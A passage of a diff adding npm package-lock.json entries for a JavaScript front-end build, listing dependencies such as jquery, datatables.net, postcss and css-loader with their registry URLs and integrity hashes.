"sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "browserslist": { + "version": "4.16.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.1.tgz", + "integrity": "sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30001173", + "colorette": "^1.2.1", + "electron-to-chromium": "^1.3.634", + "escalade": "^3.1.1", + "node-releases": "^1.1.69" + } + }, + "buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true + }, + "camelcase": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", + "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001176", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001176.tgz", + "integrity": "sha512-VWdkYmqdkDLRe0lvfJlZQ43rnjKqIGKHWhWWRbkqMsJIUaYDNf/K/sdZZcVO6YKQklubokdkJY+ujArsuJ5cag==", + "dev": true + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "colorette": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz", + "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==", + "dev": true + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, + "css-loader": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-5.0.1.tgz", + "integrity": "sha512-cXc2ti9V234cq7rJzFKhirb2L2iPy8ZjALeVJAozXYz9te3r4eqLSixNAbMDJSgJEQywqXzs8gonxaboeKqwiw==", + "dev": true, + "requires": { + "camelcase": "^6.2.0", + "cssesc": "^3.0.0", + "icss-utils": "^5.0.0", + "loader-utils": "^2.0.0", + "postcss": "^8.1.4", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^3.0.0", + "semver": "^7.3.2" + } + }, + "cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true + }, + "datatables.net": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net/-/datatables.net-1.10.23.tgz", + "integrity": "sha512-we3tlNkzpxvgkKKlTxTMXPCt35untVXNg8zUYWpQyC1U5vJc+lT0+Zdc1ztK8d3lh5CfdnuFde2p8n3XwaGl3Q==", + "requires": { + "jquery": ">=1.7" + } + }, + "datatables.net-bs4": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net-bs4/-/datatables.net-bs4-1.10.23.tgz", + "integrity": "sha512-ChUB8t5t5uzPnJYTPXx2DOvnlm2shz8OadXrKoFavOadB308OuwHVxSldYq9+KGedCeiVxEjNqcaV4nFSXkRsw==", + "requires": { + "datatables.net": "1.10.23", + "jquery": ">=1.7" + } + }, + "datatables.net-select": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select/-/datatables.net-select-1.3.1.tgz", + "integrity": "sha512-PeVd/hlAX58QzL0+mGvxnXP7ylLtzZMeAots/uZkQi+6c/KI6JuP8LCJoEMHAsSjQM/BnG7Uw8E1YGOz1tZpQQ==", + "requires": { + "datatables.net": "^1.10.15", + "jquery": ">=1.7" + } + }, + "datatables.net-select-bs4": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select-bs4/-/datatables.net-select-bs4-1.3.1.tgz", + "integrity": "sha512-8UOBxChTsn24nP/ZOsIMGZOdTJymQZ8WcQ81NcGgyDz6b4JlsQl8Bwb89AcVT7hncMquPJ3d5WUGG4I9WMhAlw==", + "requires": { + "datatables.net-bs4": "^1.10.15", + "datatables.net-select": "1.3.1", + "jquery": ">=1.7" + } + }, + "electron-to-chromium": { + "version": "1.3.638", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.638.tgz", + "integrity": "sha512-vbTdlXeu3pAtPt0/T3+HVyX9bu6Lx/iXUYSWBCCRDI+JQiq48m6o4BnZPLBy40+4E0dLbt/Ix9VIJ/06XztfoA==", + "dev": true + }, + "emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==" + }, + "enhanced-resolve": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + } + }, + "errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "requires": { + "prr": "~1.0.1" + } + }, + "es-module-lexer": { + "version": "0.3.26", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.3.26.tgz", + "integrity": "sha512-Va0Q/xqtrss45hWzP8CZJwzGSZJjDM5/MJRE3IXXnUCcVLElR9BRaE9F62BopysASyc4nM3uwhSW7FFB9nlWAA==", + "dev": true + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + } + }, + "esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "requires": { + "estraverse": "^5.2.0" + }, + "dependencies": { + "estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true + } + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true + }, + "events": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.2.0.tgz", + "integrity": "sha512-/46HWwbfCX2xTawVfkKLGxMifJYQBWMwY1mjywRtb4c9x8l5NP3KoJtnIOiL1hfdRkIuYhETxQlo62IF8tcnlg==", + "dev": true + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, + "graceful-fs": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", + "dev": true + }, + "hammerjs": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", + "integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE=" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true + }, + "indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + } + }, + "jquery": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.5.1.tgz", + "integrity": "sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==" + }, + "jquery-ui": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/jquery-ui/-/jquery-ui-1.12.1.tgz", + "integrity": "sha1-vLQEXI3QU5wTS8FIjN0+dop6nlE=" + }, + "json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json5": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", + "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "requires": { + "minimist": "^1.2.5" + } + }, + "keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==" + }, + "loader-runner": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", + "dev": true + }, + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" + } + }, + "mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==", + "dev": true + }, + "mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "dev": true, + "requires": { + "mime-db": "1.45.0" + } + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "nanoid": { + "version": "3.1.20", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz", + "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==", + "dev": true + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node-releases": { + "version": "1.1.69", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.69.tgz", + "integrity": "sha512-DGIjo79VDEyAnRlfSqYTsy+yoHd2IOjJiKUozD2MV2D85Vso6Bug56mb9tT/fY5Urt0iqk01H7x+llAruDR2zA==", + "dev": true + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "requires": { + "p-limit": "^3.0.2" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "picomatch": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", + "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", + "dev": true + }, + "pkg-dir": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-5.0.0.tgz", + "integrity": "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==", + "dev": true, + "requires": { + "find-up": "^5.0.0" + } + }, + "popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==" + }, + "postcss": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.2.4.tgz", + "integrity": "sha512-kRFftRoExRVXZlwUuay9iC824qmXPcQQVzAjbCCgjpXnkdMCJYBu2gTwAaFBzv8ewND6O8xFb3aELmEkh9zTzg==", + "dev": true, + "requires": { + "colorette": "^1.2.1", + "nanoid": "^3.1.20", + "source-map": "^0.6.1" + } + }, + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true + }, + "postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0" + } + }, + "postcss-selector-parser": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" + } + }, + "postcss-value-parser": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz", + "integrity": "sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "schema-utils": { + "version": "3.0.0", + "resolved": 